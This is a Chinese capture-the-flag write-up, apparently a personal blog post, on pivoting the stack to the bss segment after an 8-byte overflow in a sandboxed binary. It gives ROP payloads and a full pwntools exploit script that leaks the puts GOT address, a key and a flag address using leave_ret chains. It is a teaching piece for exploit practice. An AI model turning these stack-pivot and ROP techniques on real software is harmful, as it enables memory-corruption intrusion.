芝士题目:
链接:https://pan.baidu.com/s/1uwFlcSg94MuC2tPi-HCb9w
提取码:joj6
感悟:
之前我只做过溢出超过0x10这样的栈迁移,思路就是找机会去泄露栈空间的地址然后把栈迁移到我们可以控制的栈空间,亦或者迁移到堆空间,大概思路就是覆盖rbp为我们想要迁移到的地方,然后在溢出的位置填上leave ret。我之前做过的题目往往都有很多溢出空间,这也给我了很多地操作空间,但是这一题把我打得措手不及,一直也没太有思路,比赛结束后和师傅们交流,发现了新的东西(也许不是新的,但是我真的学到了很多)。
反编译:
这题目也开了沙箱,禁了open execve这些函数,shellcode直接凉,抬走,下一个
暂且先不谈怎么拿到shell,就先看题目,其实漏洞很明显但又不太好利用,就是只溢出了0x8的字节空间,而且只有一个read溢出。按照以前的思路会在rip返回地址上填写leave_ret,但是这里很显然不是。所以我们要另辟蹊径。
然后我学到一个很新的东西,就是直接在rbp的位置上填写bss段可写地址,然后在返回地址填上主函数自己的read,这样就可以把栈成功迁移到bss段了!
这样这个RBP就被我们迁移到了bss段上。
但是我们注意观察以往的栈迁移,咱都是覆盖返回地址为leave _ret的,这样rsp和rbp都会在bss段上,因此我们需要再一次覆盖返回地址,再执行一次leave ret,使我们的rsp也迁移到栈上
io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
这里的0x404530是因为如果观察汇编的话,你会发现程序read写入的地址都是rbp-0x30的一个位置。
ok,这样rsp 和rbp都被我们迁移到栈上了,接下来就是快乐的ROP了,但是要经过一次又一次的调试,准确地构造ROP!
注意注意!!我们一定要进入read函数里面!!!!不然会报错!!!
比如现在我们想要去泄露处flag的地址,ok,经过我们的反复调试,可以看到 rip的位置将会是rsp目前指向的一个位置。
所以我们的目标就是要去填掉这里的rsp也是图的0x404508的位置,改成我们构造的ROP
比如这样:
payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()
ok,我们可以看到它执行了我们的构造的ROP输出了puts的真实地址并且又返回了我们的指定的地址
可能有人会好奇,为什么这里没有执行printf函数呢?我想的原因是read也是一个函数,我们进去read这个函数后,因为我们构造的ROP覆盖了read函数的返回地址,因此它就跳转了,不去执行接下来的printf("Good luck %s\n", buf);这个函数了
当然这个问题不大,也不需要关心这个东西。
接下来也一样,就是ROP去泄露比如key的地址。
但是但是!!!!
这样构造的话rsp就会越来越靠近rbp,但是我们能控制到的只有0x40的字节,也就是说,如果rsp距离rbp太近,我们将无法正常的去执行我们的ROP链了,那咋办???
这就请到了我们的老朋友 leave_ret,我们利用leave_ret这个强有力的工具,给rsp来一个乾坤大挪移,咋整呢,比如现在这个情况。
由于我们只能控制从0x404500开始的0x40个字节,这rsp都杀到0x404538了。
然后我们构造一个ROP
leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()
这样就一不小心又把rsp给归位了,那之后就是继续操作啦,想做啥做啥,反正空间不够,继续leave_ret。
以上的东西都是我经过和师傅讨论自己去一步步调试总结出来的结果,希望大家喜欢,能学到东西。
这里附上EXP,还没结束,还没拿到flag呢。有机会继续写
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
io = process(pwnfile)
io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()
payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()
leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()
io.interactive()
小伙伴有机会一定要去动手调试一下,很好玩滴。